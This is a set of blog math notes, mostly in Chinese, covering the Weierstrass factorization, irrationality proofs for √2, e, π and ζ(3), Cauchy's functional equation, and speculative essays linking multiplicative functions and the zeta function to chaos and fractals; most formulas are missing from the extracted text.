is a positive number that is independent of . Then can be expressed as an infinite product: Each factor in the product . It is zero only at point . They are called the prime factors of . The Weierstrass factorization theorem asserts that every entire function can be represented as a (possibly infinite) product involving its zeroes. Let be an entire function, and let be the non-zero zeros of repeated according to multiplicity; suppose also that has a zero at of order . Then there exists an entire function and a sequence of integers such that The case given by the fundamental theorem of algebra is incorporated here. If the sequence is finite then we can take , and to obtain , Examples of factorization The trigonometric functions sine and cosine have the factorizations while the gamma function has factorization, where is the Euler–Mascheroni constant. The cosine identity can be seen as special case of for . 历史背景与动机1840 年，24 岁的卡尔・魏尔斯特拉斯（Karl Weierstrass）在明斯特大学听取克里斯托夫・古德曼（Christoph Gudermann）的椭圆函数讲座时，面临着一个关键挑战：如何严格证明阿贝尔（Abel）关于椭圆函数可表为两个整函数之商的断言。当时椭圆函数理论的核心是雅可比（Jacobi）的加法定理，而古德曼强调的幂级数方法为魏尔斯特拉斯指明了方向。这位曾在波恩大学 \"自我流放\" 十四年的学者，从高斯（Gauss）关于 的二阶微分方程 出发，开启了无穷乘积理论的系统性研究。 魏尔斯特拉斯的突破源于对椭圆函数双周期性的深刻洞察。当他将 代入高斯方程时，发现多项式序列 的次数分别为 和 。通过精妙的极限过程 ，他证明了这些多项式序列收敛到整函数，从而严格证实了阿贝尔的猜想。这一工作不仅解决了椭圆函数表示问题，更孕育了现代复分析中最强大的工具之一 —— 无穷乘积展开理论。 基本理论与定义整函数的零点分布魏尔斯特拉斯无穷乘积理论的核心问题是：给定复平面上的离散零点集 （满足 ），如何构造一个整函数使其恰以这些点为零点（计重数）。关键挑战在于直接乘积 通常发散，需引入修正因子 —— 基本因式（primary factor）： 若若 这些因式在原点附近表现为 ，而当 较大时，指数项抑制了乘积的发散。魏尔斯特拉斯证明：对任意离散零点集 （不含原点），存在整数序列 使得无穷乘积 收敛到整函数，其中 是原点处的零点重数， 是整函数。这一结果被称为魏尔斯特拉斯分解定理，它揭示了整函数的解析性质与其零点分布的深刻联系。 收敛性判定准则乘积收敛性的关键是选择适当的 。魏尔斯特拉斯证明：若存在 使得 对所有 收敛，则取 即可保证乘积在任意圆盘 上一致收敛。特别地，对阶数有限的整函数，可选取 为函数的阶数。例如指数函数 没有零点，其分解式为 ；而正弦函数的零点为 ，对应分解将在后续讨论。 核心定理的构造性证明归纳构造法魏尔斯特拉斯采用 \"逐步逼近\" 策略证明分解定理。设 为开集， 为离散点列。通过全纯凸紧集序列 覆盖 ，构造有理函数 使其在 上具有指定零点和极点。关键步骤是利用 Runge 逼近定理，将每个 表示为： 其中 是远离 的校正点。对两边取对数后，可找到全纯函数 使得 ，且 。最终通过无穷乘积 得到所需整函数。这一构造展现了魏尔斯特拉斯对一致收敛性的深刻把握 —— 他将复分析的几何直观转化为严格的分析论证，这种方法后来成为函数论中的标准技术。 零点重数与指数因子当原点是 重零点时，分解式需包含因子 。指数因子 的作用是消除乘积的不确定性：由于 仅确定到一个非零整函数因子，而任意非零整函数都可表为 （因 可定义为全纯函数）。这一洞察将整函数的 multiplicative 性质与 additive 性质（指数函数的原函数）联系起来，体现了复分析中 exp-log 对应关系的深刻性。 典型应用与实例正弦函数的无穷乘积欧拉（Euler）最早猜测 ，但未给出严格证明。利用魏尔斯特拉斯分解定理，注意 以 为单零点，且是阶数为 1 的整函数。取基本因式 ，则： 通过比较对数导数 ，可确定 ，从而得到著名的欧拉正弦乘积公式，并利用这一结果解决了巴塞尔问题。这一结果将超越函数表示为初等因式的无穷乘积，堪称分析学的美学典范。 Γ 函数的魏尔斯特拉斯形式伽马函数 的传统定义是积分形式，但魏尔斯特拉斯给出了更便于分析的无穷乘积表示： 其中 是欧拉 - 马歇罗尼常数。这一分解揭示了 的极点结构（ ），并为证明 等重要恒等式提供了简洁途径。 历史影响与现代意义魏尔斯特拉斯的无穷乘积理论彻底改变了复分析的面貌。在他之前，数学家们依赖几何直观和特殊技巧处理函数表示问题；而他建立的系统方法将整函数的研究转化为对其零点集的研究，开创了 \"解析函数的几何理论\"。这一思想在二十世纪发展为复流形上的层理论，成为代数几何与多复变函数论的基础工具。 更深远的是，魏尔斯特拉斯的严格化精神，从椭圆函数的具体问题抽象出一般理论，通过精细估计控制无穷过程，树立了现代数学的标准。 今天，当我们在复分析、数论或调和分析中使用无穷乘积时，仍能感受到这位 \"现代分析之父\" 严谨思想的深刻影响。"},{"title":"","date":"2025-10-07T10:50:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":true,"path":"notes/Zeta/32.html","permalink":"https://blog.mhuig.top/notes/Zeta/32","excerpt":"","text":"不知名的碎片 2 不知名的碎片 2 solution 1: As So: So the limit is Note that equality holds here not for a definite values but which are all less than solution 2: See if this converts to a Riemann sum which converges to an integral: The maxima seems to be at without possibly a closed form as wolfram says."},{"title":"","date":"2025-10-07T10:51:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":true,"path":"notes/Zeta/33.html","permalink":"https://blog.mhuig.top/notes/Zeta/33","excerpt":"","text":"不知名的碎片 3 不知名的碎片 3 with , Let be i.i.d. random variables uniformly distributed over . Since , with probability one. Moreover, by the strong law of large numbers (SLLN), holds with probability one. So by the dominated convergence theorem, 继续推广： With , , , and 另一个碎片： Since is equidistributed modulo , the limit could be rewritten as the limit of the expected value of the geometric average of uniform random variables. The integral for this would be This can actually be rewritten as since each is independent of the others. The inner integral is then equal to , so the limit is which is clearly ."},{"title":"","date":"2025-10-07T23:40:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":true,"path":"notes/Zeta/34.html","permalink":"https://blog.mhuig.top/notes/Zeta/34","excerpt":"","text":"根号 2 的无理性证明 根号 2 的无理性证明 A proof that sqrt 2 is irrational is irrational. proof by contradiction. If is a rational number, then it must be written as the ratio of two positive integers of mutual prime (that is, the common factor of both is only ) and . Square both sides to derive: is even. is even. let is even. Both and are even, which contradicts the assumption that they are prime, so is not rational, only irrational. 证明根号 2 是无理数命题： 是无理数. 反证法. 假设： 是有理数. 如果 是有理数，那么它一定可以表示为两个互质的正整数（即两者的公因数只有 ） 和 的比值。 对等式两边平方可得： 是偶数. 是偶数. 令 是偶数. 和 都是偶数, 这与他们是素数的假设相矛盾, 因此 不是有理数, 是无理数."},{"title":"","date":"2025-10-07T23:41:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":true,"path":"notes/Zeta/35.html","permalink":"https://blog.mhuig.top/notes/Zeta/35","excerpt":"","text":"e 的无理性证明 e 的无理性证明 A proof that e is irrationalproof by contradiction. Assuming is a rational number, it can be written as the ratio of two positive integers: Both sides of the above formula are multiplied by ( is some positive integer large enough) The right-hand side must be an integer. must be an integer. When is large enough, Must have: must not be an integer 证明 e 是无理数反证法. 假设 是有理数, 那么它能够写成两个正整数之比: 上式两边同时乘以 ( 是一个足够大的正整数) 右边一定是整数 一定是一个整数. 当 足够大时, 可以得到: 一定不是一个整数 是无理数"},{"title":"","date":"2025-10-07T23:42:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":true,"path":"notes/Zeta/36.html","permalink":"https://blog.mhuig.top/notes/Zeta/36","excerpt":"","text":"π 的无理性证明 π 的无理性证明 是无理数的半页纸证明。 没人知道写这个证明的人是怎么想到它的，人们都称它为上帝给的积分。 尼文 π 无理性证明：从历史突破到数学构造的精妙之旅 的无理性证明是数学史上的里程碑事件。尽管人类早在古希腊时期就已使用 的近似值，但直到 1761 年，瑞士数学家约翰・海因里希・兰伯特才首次证明了这个常数的无理性质。此后，包括埃尔米特、卡特莱特在内的众多数学家相继提出不同证法，但真正革命性的突破出现在 1947 年，加拿大数学家伊万・尼文（Ivan M. Niven）发表了一篇仅半页纸的证明，用初等微积分工具构建了一个逻辑严密的反证法，其简洁性与深刻性至今仍令人惊叹。 历史语境：从近似计算到严格证明的跨越 的研究史几乎与人类文明同步。巴比伦人取 作为近似值，古埃及《林德纸草书》记录为 ，而阿基米德通过正 边形计算出 的经典区间。这些估值技术在 17 世纪微积分发明后得到飞跃，莱布尼茨公式 和欧拉的无穷乘积展开式将 表达为无穷级数，但其收敛速度缓慢，更重要的是 —— 这些都无法回答 是否为有理数。 兰伯特 1767 年的原始证明基于正切函数的连分式展开，他证明了非零有理数的正切必为无理数，并通过 是有理数反推 必为无理数。但该证明涉及复杂的连分式理论，理解门槛较高。相比之下，尼文的证明仅使用多项式导数、定积分等本科低年级数学工具，却达到了同样严格的逻辑强度，这种用简单工具解决深刻问题的特质使其成为数学推理的典范。 证明架构：反证法与辅助函数的精妙构造尼文证明的核心是反证法：假设 是有理数，设 （其中 为互质正整数），然后构造一个特殊积分导出矛盾。这个证明的艺术之处在于两个精心设计的辅助函数，它们如同精密咬合的齿轮，最终迫使假设不成立。 核心函数构造第一步：定义多项式 f (x) 尼文首先构造了一个带参数 的多项式： 其中 为正整数。这个多项式具有三个关键特性： 整系数本质：展开 得到 的多项式，最低次项为 ，最高次项为 ，所有系数均为整数。除以 后， 在 和 处的各阶导数仍为整数。 对称性：通过变量代换可验证 ，这意味着 关于 对称。对等式两边求导可得 ，特别地，当 时， 。 积分估计：在区间 上， ，当 充分大时，这个值将小于 。 第二步：定义交替导数和 F (x) 基于 构造第二个辅助函数： 其中 表示 的 阶导数。这个构造的妙处在于其导数满足一个简洁关系：对 求二阶导数可得 （注意最高阶导数 ，因为 是 次多项式）。 关键等式推导导数关系与积分转化 考察函数 的导数： 这是整个证明的 \"枢纽等式\"，它将复杂的 F (x) 与 f (x) sinx 联系起来。对该等式两边从 0 到 π 积分，应用微积分基本定理得到： 整数性质分析 根据 的导数性质， 和 均为整数。而 是这些导数的整数组合（各项系数为 ），因此 和 都是整数，故它们的和 必为整数。 矛盾导出 但从积分估计可知： 当 充分大时， 的增长速度远超指数函数 ，因此右侧积分值将小于 。这导致 是一个大于 且小于 的正整数，而这样的整数不存在，矛盾！因此原假设 是有理数错误， 必为无理数。"},{"title":"","date":"2025-10-08T02:42:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":true,"path":"notes/Zeta/37.html","permalink":"https://blog.mhuig.top/notes/Zeta/37","excerpt":"","text":"Zeta 的无理性之谜 Zeta 的无理性之谜 1978 年，法国数学家 Roger Apéry 在赫尔辛基国际数学家大会上宣布了一个震惊的结果：黎曼 函数在 处的值 是无理数。这一发现终结了长达两个世纪的数学悬案，也使 获得了 \"Apéry 常数\" 的专属名称。Apéry 的原始证明以其繁复的组合恒等式和非线性递推关系著称，被数学家 Paul Erdős 评价为 \"魔鬼般的证明\"。这里将系统梳理 无理性证明的历史脉络，重点解析 1979 年 Frits Beukers 提出的简化证明，该证明通过三重积分表示与极值分析，大幅降低了理解门槛，成为数论中分析方法与代数构造结合的典范。 历史背景与问题提出黎曼 函数 自 1859 年被引入以来，其特殊值的算术性质一直是数学研究的核心课题。欧拉早在 18 世纪就证明了 ，其中 是伯努利数，这一结果不仅确立了偶数整点 值的超越性（由林德曼 - 魏尔斯特拉斯定理保证），也给出了清晰的封闭表达式。然而奇数整点的情况呈现出截然不同的复杂性 —— 除了 外，所有 （ ）的无理性至今都未得到证明，甚至尚未找到类似的封闭形式。 这种奇偶差异在数学史上形成了鲜明对比： 的无理性随 π 的超越性于 1882 年确立，而 的无理性问题却顽强抵抗了近百年的攻击。1978 年 Apéry 的突破采用了构造特殊有理逼近序列的方法，他定义了满足三阶非线性递推关系的序列： 通过证明该序列比值收敛于 且收敛速度足够快，Apéry 成功构造出无穷多个接近 的有理数，从而导出矛盾。尽管这一证明在逻辑上无懈可击，但其中复杂的二项系数组合（如 ）和非线性递推关系的来源一直被视为 \"从天而降\"，难以直观理解。 Beukers 简化证明的核心框架1979 年，荷兰数学家 Frits Beukers 发表了一篇里程碑式的论文，将 Apéry 的代数构造转化为更具几何直观的三重积分表示。这一证明的核心思想可概括为四个关键步骤： 建立 的二重积分表示 引入 Legendre 多项式构造有理逼近 通过变量代换将积分转化为三重形式 估计积分余项的指数衰减速度 这种方法的优势在于将数论问题转化为分析问题，利用积分变换和极值原理代替复杂的组合恒等式。证明的起点是如下无理数判别准则：若存在整数序列 使得 ，则 必为无理数。这一准则可通过反证法简单证明：假设 （既约分数），则 ，与左边趋于零矛盾。 Beukers 首先建立了 的积分表示。通过将 展开为几何级数并逐项积分，他证明了： 这一表示将 与单位正方形上的二重积分联系起来，其中被积函数的奇异性恰好在 处，对应级数的收敛边界。更一般地，当引入非负整数 时，积分 可表示为 与有理数的线性组合，这构成了逼近构造的基础。 关键引理与积分变换Beukers 证明的技术核心在于引入 Legendre 多项式 ，这一特殊多项式具有两个关键性质：整系数性和正交性类似的积分表示。通过分部积分可得： 这一恒等式将 与 的 阶导数积分联系起来，当 具有合适的解析性质时，右边积分可得到精确估计。 通过构造二元乘积 ，Beukers 将 的二重积分表示转化为三重积分： 这一步通过巧妙的变量替换 实现，将对数项转化为几何级数积分，展现了分析变换的深刻洞察力。对 和 分别应用 次分部积分后，积分最终化简为： 这一形式的关键价值在于被积函数中出现了方括号内的分式 的 次幂，为指数衰减估计创造了条件。 极值分析与收敛速度估计Beukers 证明的高潮在于对函数 的极值分析。通过求解偏微分方程组 ，他发现 在单位立方体 内部存在唯一极值点： 在该点处的函数值为 ，这一数值小于 ，意味着 将以指数速度衰减。通过将三重积分区域分为极值点邻域和其余部分，Beukers 建立了关键估计： 其中 是前 个自然数的最小公倍数， 为整数。 证明的最后一环是对 阶的估计。数论中的经典结果表明 ，这等价于素数定理（通过切比雪夫函数 ）。因此 ，而 ，故整体余项满足： 这就构造出了满足无理数判别准则的整数序列 ，从而完成了 无理性的证明。 后续发展与未解决问题Beukers 的证明不仅简化了 Apéry 的原始工作，更为无理数证明开创了 \"积分 - 极值\" 方法的新范式。这一方法的核心思想 —— 通过特殊函数构造逼近序列，利用分析工具估计收敛速度 —— 被成功应用于其他常数的研究： 1996 年 T. Rivoal 证明存在无穷多个 是无理数 2001 年 W. Zudilin 证明 中至少有一个无理数 2018 年 N. A. Carella 尝试将方法推广到一般 ，但尚未完全成功 值得注意的是，尽管 Beukers 方法具有高度启发性，但它仍未解决核心难题：为何 的证明相对简单，而 的证明却至今未知？一种可能的解释来自动力系统理论，Apéry 的递推关系对应于具有双曲不动点的非线性映射，其稳定流形的存在保证了快速收敛的有理逼近。而高阶 值可能对应更高维的动力学系统，其周期轨道结构更为复杂。 现代数学研究正从多个角度推进这一领域：2023 年的最新工作将 Feynman 积分表示为 \"Apéry 极限\"，通过镜像对称和有限域点计数建立了物理理论与数论之间的深刻联系。这些进展暗示， 的无理性可能只是冰山一角，其背后隐藏着算术几何与量子场论的深层关联。 结语：从特殊到一般的数学思维 无理性证明的历史演进展现了数学研究的典型范式：从特殊问题出发（欧拉时代），经历长期探索（百年悬案），通过突破性构造（Apéry），最终获得概念性理解（Beukers）。Beukers 的三重积分证明之所以被广泛推崇，不仅因其技术简洁，更在于它揭示了无理数证明的本质，构造具有超指数收敛速度的有理逼近。 这一证明也留下了深刻的哲学启示：在数学中，复杂的代数构造往往可以通过分析表示获得直观理解，正如 的算术性质通过几何积分得到阐明。当前，数学家们正沿用这一思路，尝试通过模形式、动机理论等工具攻克 的无理性问题。无论未来进展如何，Apéry 和 Beukers 的工作已经永久改变了我们对 函数的理解，展示了人类理性面对数学奥秘时的创造力与洞察力。 值的无理性研究，是当代数学中分析、代数与几何交汇融合的最佳见证。在这个充满未知的领域，每一个小的进展都可能带来意想不到的突破。"},{"title":"","date":"2025-10-08T03:30:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":true,"path":"notes/Zeta/38.html","permalink":"https://blog.mhuig.top/notes/Zeta/38","excerpt":"","text":"Niven 的无理数 Niven 的无理数 IRRATIONAL NUMBERS by IVAN NIVEN Similarities in Irrationality Proofs for π,ln2,ζ(2),and ζ(3) 注：第一个式子是错误的。"},{"title":"","date":"2025-10-08T06:42:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":true,"path":"notes/Zeta/39.html","permalink":"https://blog.mhuig.top/notes/Zeta/39","excerpt":"","text":"柯西方法 柯西方法 Cauchy methodWe know that the function is continuous over , and satisfy . Seek verification : That is, it is a direct proportional function. The essence of Cauchy method is that it first proves that the conclusion is valid for integers, then completes the conclusion for rational numbers, and finally proves that the conclusion is valid for real numbers. let , we get , then we get . let , we get . Because , therefore , therefore is an odd function. The following proofs only discuss cases where the independent variable is positive, and cases where the symmetry of the odd function can yield negative numbers. The proof-conclusion holds for integers. Easy proof by mathematical induction: , , : let ,we get: let in the formula , we get: So this is true for integers. let , we get: then, from formula we get : therefore: let we get: So the conclusion holds for rational numbers. From the properties of numbers, we can see that for any real number there exists a series of rational numbers such that And by the continuity of canknow: Because is a rational number, therefore: therefore: therefore: So the conclusion is true for real numbers. QED. 柯西方法奥古斯坦 - 路易・柯西（Augustin-Louis Cauchy，1789-1857）在数学史上的地位，恰如他所处的 19 世纪上半叶，一个新旧思想激烈碰撞的变革时代。作为现代分析学的奠基人，柯西以其对严格性的执着追求，将微积分从几何直观和无穷小的模糊概念中解放出来，重构为以极限为核心的逻辑体系。这种思想方法不仅体现在他对极限、连续、导数等基本概念的重新定义中，更凝结为一种解决问题的范式，柯西方法，其核心精神表现为 \"从特殊到一般、从具体到抽象\" 的分层递进策略。本文将系统梳理柯西方法的历史背景、理论基础及其在函数方程求解中的典范应用，揭示其如何成为连接古典数学与现代数学的桥梁。 历史背景：19 世纪初的数学危机与柯西的严格化运动18 世纪的微积分如同一个神通广大却根基不稳的巨人。牛顿用 \"流逝量\"（fluxion）、莱布尼茨用 \"无穷小\" 构建的算法体系，在天文学、力学领域取得了辉煌成就，但这些概念始终缺乏清晰的逻辑定义。贝克莱主教 1734 年在《分析者》中尖锐指出：\"无穷小量是已死量的幽灵\"，直指微积分基础中的逻辑矛盾。欧拉将函数视为解析式的观点，以及拉格朗日试图用幂级数定义导数的尝试，都未能彻底解决这些矛盾。 柯西诞生于法国大革命爆发的 1789 年，成长于拿破仑时代的学术复兴期。他的父亲作为巴黎高等法院的律师，与拉格朗日、拉普拉斯等数学家过从甚密，使少年柯西获得了得天独厚的学术熏陶。拉格朗日曾告诫柯西父亲：\"赶快给柯西一种坚实的文学教育，以便他的爱好不致把他引入歧途\"，这种建议竟意外塑造了柯西兼具严密逻辑与清晰表达的学术风格。1807 年进入巴黎综合理工学院后，柯西在工程实践中意识到，缺乏严格基础的数学可能导致工程设计的隐患，这促使他致力于分析学的严格化。 1821 年，柯西出版《皇家综合工科学院分析教程》，这部著作标志着严格分析时代的开端。他首次将极限定义为 \"当一个变量的相继值无限趋近某个固定值时，如果最终同固定值之差可以随意地小，那么这个固定值就称为所有这些值的极限\"。这个定义用不等式刻画极限过程，避免了 \"无穷小\" 的模糊表述，为整个微积分体系奠定了严格基础。正是在这部著作中，柯西系统发展了后来被称为 \"柯西方法\" 的问题解决策略，其核心思想在他处理函数方程时得到了最为鲜明的体现。 柯西方法的理论基础：从整数到实数的分层推进策略柯西方法的精髓在于将复杂问题分解为可逐步解决的层次，通过对简单情形的彻底解决，为更一般情形提供归纳基础。这种方法论在柯西处理加性柯西方程时展现得淋漓尽致，该方程后来成为以他命名的一类函数方程的原型。方程表述如下：设函数 满足对任意实数 ，均有 ，求 的一般形式。柯西对这个方程的解决，完美诠释了其方法论的四个层次： 第一步：整数域上的解柯西首先考虑最简单的情形：当 为正整数时。设 ，通过数学归纳法可证： 令 ，则对正整数 有 。对于负整数 ，利用 ，可推得 。因此对所有整数 ，方程解为 。 第二步：有理数域上的解对于有理数 （其中 ），柯西通过构造方程 ，解得 。这表明在有理数域上，方程的解仍为线性函数 。 第三步：实数域上的解与正则性条件当扩展到实数域时，柯西发现仅仅依靠方程的加性条件不足以保证解的唯一性。他证明了：若 在某区间内连续（或有界、或单调），则对所有实数 ，有 。这个结果揭示了一个深刻事实：在实数域上，函数方程的解可能存在非构造性的病态解（如利用选择公理构造的不连续解），但在自然的正则性条件下，解必然是线性的。柯西的这一发现，开创了泛函方程研究中 \"正则性蕴含结构性\" 的重要方向。 柯西方法的分层策略具有普适性。正如他在处理重复积分问题时所展示的，通过将 重积分转化为含参变量的单积分，逐步推导得到公式： 这种从低维到高维、从简单到复杂的递进方式，成为后世数学研究的典范。 柯西方程的推广与柯西不等式的方法论意义柯西方法的影响远超出函数方程领域。在《分析教程》中，柯西还系统研究了其他类型的函数方程，包括乘法型 、指数型 和对数型 等，这些方程在他的分层策略下都得到了系统解决。其中，柯西不等式作为一种重要的工具，其证明过程本身就是柯西方法的精彩应用。 柯西不等式的多种证明与几何意义柯西不等式的离散形式表述为：对任意实数 和 ，有 等号成立当且仅当 （ 为常数）。柯西最初的证明采用了参数配方法，构造二次函数： 由于 对所有 成立，其判别式 ，由此直接推得不等式。这种证明体现了柯西将代数结构与分析工具结合的典型风格。 柯西不等式的向量形式 ，揭示了其深刻的几何意义 —— 两个向量的内积不超过它们模长的乘积。这一解释将不等式从代数推向几何，为后续泛函分析中希尔伯特空间的定义埋下伏笔。值得注意的是，柯西不等式的积分形式 可视为离散形式的连续化推广，其证明同样遵循 \"从有限到无限\" 的柯西式递进思路。 柯西不等式的应用：从极值问题到几何证明柯西不等式作为优化问题的锐利工具，在求最值时展现出惊人威力。例如，对于问题 \" 已知 ，求 的最小值 \"，柯西不等式给出简洁解法： 平方后即得 。这种方法避免了传统求导或消元法的繁琐计算，直接锁定最优解。 在几何领域，柯西不等式为距离问题提供了统一处理框架。点到直线的距离公式、两平行线间的距离公式，甚至椭圆上一点到直线距离的最值问题，都可通过柯西不等式简洁推导。例如，对于椭圆 上一点到直线 的距离，柯西不等式给出： 从而直接得到 的取值范围。这种代数方法与几何直观的完美结合，正是柯西方法论的精髓所在。"},{"title":"","date":"2025-09-14T05:15:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":true,"path":"notes/Zeta/4.html","permalink":"https://blog.mhuig.top/notes/Zeta/4","excerpt":"","text":"Clebsch's fair copy of Riemann's publication Clebsch's fair copy of Riemann's publication"},{"title":"","date":"2025-10-08T08:30:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":true,"path":"notes/Zeta/40.html","permalink":"https://blog.mhuig.top/notes/Zeta/40","excerpt":"","text":"积性函数蕴含迭代结构 积性函数蕴含迭代结构 什么样的函数能够满足 ？ 首先我们想到的是幂函数。 证明满足 的抽象函数 f 是幂函数 两边同时取对数： 由于 , 因此 使得: 令 : 因为 : 因此 令 : 使用柯西方法可以证明: 因为 , 因此: 两边同时取自然指数: 这是一个幂函数的形式. 除了幂函数还有什么？存在 满足: ,满足 , . 下面定义 ： , where , , where , . 很容易知道 根本不像幂函数, 并且对于任意实数 , , 满足 . 满足 的映射 在数论中被称为积性函数，数论中有很多函数是积性函数，比如欧拉函数，莫比乌斯函数，最大公约数 等等. 例如 : gcd 满足积性条件 : 与 的最大公约数乘以 与 的最大公约数，其结果必定等于 乘以 与 的最大公约数。 可以看出，欧几里得辗转相除法求最大公约数确实具有类似于阶乘的递归迭代结构。 幂函数也可以被视为一种递归迭代结构。 推测：满足条件 的 函数必然包含一种递归迭代结构。 证明满足条件 的 函数包含递归迭代结构 可以推导出 和 的迭代式，结论表明确实存在一种递归迭代的结构。 而迭代能够产生混沌。 积性条件 是广义欧拉乘积公式的前提条件，也许黎曼 Zeta 函数是一个非线性动力学系统。 素数分布规律的动力学方程： 积性函数迭代与混沌的涌现积性函数的迭代结构不仅存在于幂函数中，更在非线性系统中展现出通往混沌的路径。从 这一迭代式出发，我们发现当指数 取特定值时，系统会呈现出从有序到混沌的相变过程。以最简单的幂函数 （其中 ）为例，其迭代形式可简化为： 当 时，该迭代退化为 ，表现出稳定的收敛行为；而当 增大至某一临界值后，迭代轨迹开始出现倍周期分岔，最终进入混沌区域。这种现象与非线性迭代函数系统（NIFS）的动力学特性高度吻合，简单的代数规则通过反复迭代，能够生成具有复杂分形结构的吸引子。 李 - 约克定理与周期三点的关键作用判断积性函数迭代是否进入混沌的数学依据，源自李天岩与约克在 1975 年提出的著名定理。该定理指出：若连续函数 （ 为区间）存在周期为 的点，则对任意正整数 , 存在周期为 的点，且系统中存在不可数的混沌点集。这一结论为我们提供了辨识混沌的简便判据：只需验证迭代过程中是否出现 \"三点周期\" 现象，即是否存在 使得 , , （或其循环排列）。 对于积性函数的迭代系统，周期三点的存在往往与参数取值密切相关。以广义幂函数 （其中 为非线性柯西方程解）为例，当 包含非线性扰动项时，系统会突破传统幂函数的有序性。构造对称映射 （其中 ）就展示了这种机制，随着参数 的增大，系统先经历倍周期分岔，随后通过 \"对称增加分歧\" 形成具有旋转对称性的混沌吸引子。这种吸引子既保留了积性函数的代数结构，又通过迭代演化出分形几何特征，完美诠释了 \"有序中的无序\" 这一混沌本质。 数论积性函数的隐藏混沌在数论领域，传统积性函数如欧拉函数 、莫比乌斯函数 等，其迭代行为长期被认为是收敛或周期的。然而最新研究表明，某些数论积性函数的迭代系统中同样存在混沌迹象。考虑定义在正整数集上的函数 ，其中 表示 的不同素因子个数。该函数满足弱积性条件 其迭代序列 在初始值 时表现出类似混沌的敏感依赖性，将 改为 5 或 7，迭代轨迹会迅速发散至完全不同的路径。 这种数论系统的 \"伪混沌\" 行为，与连续系统中的混沌既有相似也有本质区别。相似之处在于两者都对初始条件具有敏感依赖性；差异则体现在数论系统的离散性使其无法形成连续的奇怪吸引子。但即使在离散迭代函数系统中，仍可构造测度为 的混沌集，使得系统在统计意义上呈现混沌特性。这一发现为密码学中的伪随机数生成提供了新思路，利用数论积性函数的迭代混沌性，可以设计出兼具安全性与高效性的加密算法。 从理论到应用：积性混沌的现代价值积性函数迭代系统的混沌特性，正在多个领域展现出实用价值。在图像处理领域，基于对称非线性迭代函数系统（SNIFS）的分形压缩算法，通过模拟积性函数的迭代过程，能将图像数据压缩比提升至传统方法的 3-5 倍。这类算法的核心在于利用混沌吸引子的自相似结构，用少量迭代参数替代大量像素数据，其数学本质正是积性函数 所蕴含的尺度不变性。 更引人注目的应用出现在人工智能领域。2020 年出现的在线算法作曲工具 ChaosTao，正是通过 logistic 映射（一种特殊的非线性积性迭代）生成混沌序列，再将其映射为音乐旋律。当控制参数 时，系统进入完全混沌状态，生成的音乐片段既具有局部有序的节奏特征，又在整体结构上呈现不可预测的变化，这恰是积性函数迭代中 \"确定性随机性\" 的艺术表达。 积性函数与混沌理论的交叉，不仅揭示了数学结构的深刻统一性，更暗示着自然界中有序与无序的内在联系。从素数分布的数论奥秘，到股票市场的复杂波动，积性迭代的混沌机制或许是理解这些现象的关键钥匙。当我们在非线性系统中引入对称性时，得到的不是简单的规则重复，而是有序与无序的完美融合，这正是宇宙创造复杂性的基本法则。"},{"title":"","date":"2025-10-08T10:40:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":true,"path":"notes/Zeta/41.html","permalink":"https://blog.mhuig.top/notes/Zeta/41","excerpt":"","text":"黎曼 Zeta 函数是分形 黎曼 Zeta 函数是分形 也许我们就生活在黎曼 Zeta 函数这张膜上，我们只不过是这个膜在某个位置的全息投影。 黎曼的手稿黎曼手稿的命运堪称科学史上的惊险传奇。1866 年黎曼因肺结核去世后，其管家曾烧毁大部分手稿，幸得妻子埃莉泽・科赫抢救出部分残页，并将核心内容交给黎曼生前好友、数学家戴德金。尽管埃莉泽后来取回了含私人信息的部分，但戴德金保留的数学手稿最终被哥廷根大学永久收藏，成为验证黎曼猜想的 “密码本”。 1932 年，数学家西格尔正是从这些交错书写的公式中，发掘出远超时代的零点计算方法，整理出著名的黎曼 - 西格尔公式，将零点计算效率提升百倍，至今仍是解析数论的核心工具。 后来人们在黎曼的手稿中发现，黎曼对 函数零点的研究，竟然与他当时解决流体力学经典问题的内容，紧挨在一起，也许这两者背后还有更深层次的联系。 在同一页纸上，黎曼既演算着 函数的非平凡零点，又推导着流体运动的特征线方程，这种跨学科的思维并置在当时未被理解，却为当代非线性科学埋下伏笔。 黎曼的手稿，再一次体现了这位数学家思想的超越性。 这些手稿的并置书写，恰似科学史上的 “罗塞塔石碑”：当现代数学家发现黎曼零点间距与重原子能级分布的对应关系时，当流体力学实验证实湍流分形维数与能谱幂次的关联时，人们才逐渐读懂黎曼当年在纸页间埋下的跨学科线索。 不止数学天赋，所有类型的天赋本质上只有一个原因，就是将事物联系到一起的能力。 Riemann zeta function is a fractal 黎曼 ζ 函数的分形本质：从普遍性定理到自相似结构黎曼 Zeta 函数 作为数学中最神秘的函数之一，其分形属性源于一个深刻的数学事实: 沃罗宁（Voronin）普遍性定理。这一定理揭示了 函数在复平面临界带右半部分（ ）的惊人特征：它能以任意精度逼近任何非零解析函数，这种普适性直接蕴含了自相似的分形结构。分形的核心定义，在不同尺度下呈现相似模式，在此通过 函数的解析延拓和无穷多平移副本的重叠得以实现，正如曼德博集合通过迭代映射展现自相似性一样。 历史背景：从黎曼猜想到普遍性定理1859 年，黎曼在《论小于给定数值的素数个数》中首次引入 函数，将其定义域从实部大于 1 的区域解析延拓至整个复平面（除 的极点外），并提出了关于非平凡零点均位于 直线上的著名猜想。此后一个多世纪，数学家们逐步揭示了 函数的解析性质，但直到 1975 年，苏联数学家沃罗宁（S.M. Voronin）证明的普遍性定理才为其几何特征带来革命性认知。该定理表明，对于临界带内 的直线， 函数沿此直线的垂直平移（ ， 为实数）能够逼近任何非零解析函数，这一性质为分形结构提供了严格数学基础。 分形定义与沃罗宁定理的数学表述分形的核心特征分形是指具有自相似性（在不同尺度下重复自身结构）和非整数分形维数的集合。对于 ζ 函数而言，其分形性体现为：在复平面的不同区域（由参数 控制的平移副本）中，函数图像呈现统计意义上的结构重复，而非严格的几何递归（如科赫雪花的无限迭代）。 沃罗宁定理的严格表述定理（Voronin, 1975）：设 ， 是在 上解析且非零的复函数。对任意 ，存在实数 ，使得 该定理的关键在于： 函数沿临界带内 的直线平移后，能 “模仿” 